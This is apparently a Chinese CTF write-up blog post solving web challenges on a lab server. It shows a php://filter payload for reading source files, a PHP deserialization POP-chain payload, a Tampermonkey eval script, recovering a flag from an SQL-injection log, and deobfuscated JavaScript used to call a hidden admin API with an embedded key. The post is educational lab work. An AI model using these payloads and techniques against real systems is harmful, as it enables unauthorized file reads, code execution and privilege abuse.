本文从旧博客迁移而来。
文章中所有图片均引自原路径(GitHub
仓库),因此可能出现加载速度较慢的问题。
以下为原文内容。
随手记录一下(
ToC
5呢
简单的正则
通过构造符合题意的正则表达式即可得到 flag。
http://10.60.38.227:34003/?s=the%20flag12/d/31
你会那样读文件吗
进入后链接提示我们跳转到 hint.php
,之后在源码中找到提示:
然后通过 php 伪协议获得 flag.php 的 base64,再通过解码就能拿到 flag了:
php://filter/read=convert.base64-encode/resource=flag.php
快速计算
标题虽然说是 Python 计算,但其实并用不到 Python(
通过观察我们知道我们需要计算的内容是第二个 div
里的算式去掉 =?
的部分,于是简单写一个油猴脚本:
// ==UserScript==// @name New Userscript// @namespace http://tampermonkey.net/// @version 0.1// @description try to take over the world!// @author You// @match http://10.60.38.227:34005/// @grant none// ==/UserScript==
(function () { const t = document.querySelectorAll("div")[1].textContent; const ev = t.substr(0, t.length - 2); const result = eval(ev); document.querySelector("input[type=text]").value = result; document.querySelector("input[type=Submit]").click();})();
加载后刷新页面即可:
哪个才是 flag
找不同,在源码中找到真正的 flag:
Serialize & Unserialize
首先先根据题目要求构造字符串:
<?php$KEY="Spirit";echo serialize($KEY);
得到第一步答案:s:6:"Spirit";
,根据提示跳转到 info.php
:
<?php@error_reporting(0);class Start{ public $a; public $b; public function __destruct() { $this->a->test1(); }}class Func1{ public $a; public $b; public function __call($test, $arr) { $this->b="字符串".$this->a; }}class Func2{ public $a; public $b; public function __toString() { $s=$this->a; $s(); return "1"; }}class Func3{ public $a; public $b; public function __invoke() { $this->a->get_flag(); }}class Flag{ public function get_flag() { echo "flag{****************}"; }}$a=isset($_GET['go'])?$_GET['go']:"";$b=@unserialize($a);if ($a&&!$b) { echo "unserilize('".$a ."') 失败";}
根据观察,可以发现类从上到下类似链式调用,于是补充代码如下:
得到输出结果:
O:5:"Start":2:{s:1:"a";O:5:"Func1":2:{s:1:"a";O:5:"Func2":2:{s:1:"a";O:5:"Func3":2:{s:1:"a";O:4:"Flag":0:{}s:1:"b";N;}s:1:"b";N;}s:1:"b";N;}s:1:"b";N;}flag{**}
log
首先观察 access.log
文件本身,我们可以发现其中充斥这很多 URI 编码后的字符串。我们先将其过一遍 decodeURIComponent
,再去除一些无用的内容,诸如 UserAgent
。
再观察,可以发现这是一次 SQL 注入的攻击日志,攻击者通过各位比较确认了 flag。于是我们可以利用攻击者确认 flag 的日志获得 flag。搜索 !=
:
可以看到,这些数字已经是我们想要的 f
,l
,a
了。最后将其拼接起来即可:
可靠的WebApp
通过观察可以发现核心在于 main.min.js
:
打开文件,发现文件经过了混淆。我们使用 JSNice
简单对内容进行反混淆:
再对所有用到 _0x76ef
的项进行整理,最后得到相对反混淆后的结果。在这个过程中,我们观察到这个对象:
this.APIModels = { authorize: { model: "authorize", }, userInfo: { model: "userInfo", }, buyFlag: { model: "buyFlag", }, adminAddCoin: { model: "adminAddCoin", key: "Admin123321.", count: 0, },};
通过这个对象,我们构建出增加余额的函数(上文对象中 count
需要改大):
this.adminAddCoin = function () { this.call( "adminAddCoin", this.APIModels.adminAddCoin, function (canCreateDiscussions) { console.log(canCreateDiscussions); } );};
最后,用我们修改完的 main
函数在 Console
中替换原有的 console
即可:
最后修改后的 main.min.js
如下:
"use strict";
function main(key) { function GUIPARAMS() { let _this = this; this.token = null;
this.onerror = function () { alert("Error on request."); };
this.toCharArr = function (str) { str = str.split(""); let arr = new Uint8Array(str.length); str.forEach(function (canCreateDiscussions, wikiId) { arr[wikiId] = canCreateDiscussions.charCodeAt(0); }); return arr; };
this.fromCharArr = function (canCreateDiscussions) { let plan_count = ""; canCreateDiscussions.forEach(function (year_data) { plan_count = plan_count + String.fromCharCode(year_data); }); return plan_count; };
this.pkcs7Pad = function (msg) { let val = 16 - (msg.length % 16); let log = new Uint8Array(msg.length + val); log.set(msg, 0); log.fill(val, msg.length, msg.length + val); return log; };
this.pkcs7UnPad = function (range) { let start = range[range.length - 1]; if (start > 16) { return null; } return range.subarray(0, range.length - start); };
this.ui8concat = function (sumX, data) { let command_codes = new Uint8Array(sumX.length + data.length); command_codes.set(sumX, 0); command_codes.set(data, sumX.length); return command_codes; };
this.APIModels = { authorize: { model: "authorize", }, userInfo: { model: "userInfo", }, buyFlag: { model: "buyFlag", }, adminAddCoin: { model: "adminAddCoin", key: "Admin123321.", count: 114514, }, };
this.call = function (path, model, savetoBd) { this.iv = this.toCharArr( CryptoJS.MD5(Math.random().toString(36).substr(2)) .toString() .substr(0, 16) ); let _0xe48ex10 = new aesjs.ModeOfOperation.cbc(this.key, this.iv); let value = this.ui8concat( this.iv, _0xe48ex10.encrypt(this.pkcs7Pad(this.toCharArr(JSON.stringify(model)))) ); let param = new XMLHttpRequest();
param.timeout = 3000; param.open("POST", "/api/" + path, true); param.setRequestHeader("Content-type", "application/octet-stream"); if (this.token) { param.setRequestHeader("X-Token", this.token); param.setRequestHeader( "X-Message-Code", CryptoJS.HmacSHA1(this.token, JSON.stringify(model)) ); }
param.onload = function (canCreateDiscussions) { if (this.status === 200) { let data = JSON.parse(this.responseText); if (data.status === 0) { let rua = new aesjs.ModeOfOperation.cbc(_this.key, _this.iv); data.payload = JSON.parse( _this.fromCharArr( _this.pkcs7UnPad( rua.decrypt(_this.toCharArr(window.atob(data.payload))) ) ) ); savetoBd(data); return; } } _this.onerror(); }; param.ontimeout = this.onerror; param.onerror = this.onerror; param.send(value); };
this.getUserInfo = function () { this.call( "userInfo", this.APIModels.userInfo, function (canCreateDiscussions) { console.log(canCreateDiscussions); document.getElementById("output").innerText = "You have " + canCreateDiscussions.payload.coin + " coins in your account."; } ); };
this.buyFlag = function () { this.call( "buyFlag", this.APIModels.buyFlag, function (canCreateDiscussions) { console.log(canCreateDiscussions); let output = document.getElementById("output"); if (canCreateDiscussions.payload.success) { output.innerText = canCreateDiscussions.payload.flag; } else { output.innerText = canCreateDiscussions.payload.reason; } } ); };
this.authorize = function () { if (key) { this.key = this.toCharArr(key); } else { return; } this.call( "authorize", this.APIModels.authorize, function (canCreateDiscussions) { console.log(canCreateDiscussions); _this.token = canCreateDiscussions.payload.token; let packByNumType = document.getElementById("buttons"); packByNumType.innerHTML = ""; let data = document.createElement("button"); data.innerHTML = "User Info"; data.addEventListener("click", function () { _this.getUserInfo(); }); packByNumType.append(data); let pivot = document.createElement("button"); pivot.innerHTML = "Buy Flag"; pivot.addEventListener("click", function () { _this.buyFlag(); }); packByNumType.append(pivot); } ); };
this.adminAddCoin = function () { this.call( "adminAddCoin", this.APIModels.adminAddCoin, function (canCreateDiscussions) { console.log(canCreateDiscussions); } ); }; } let instance = new GUIPARAMS(); instance.authorize(); window.instance = instance;}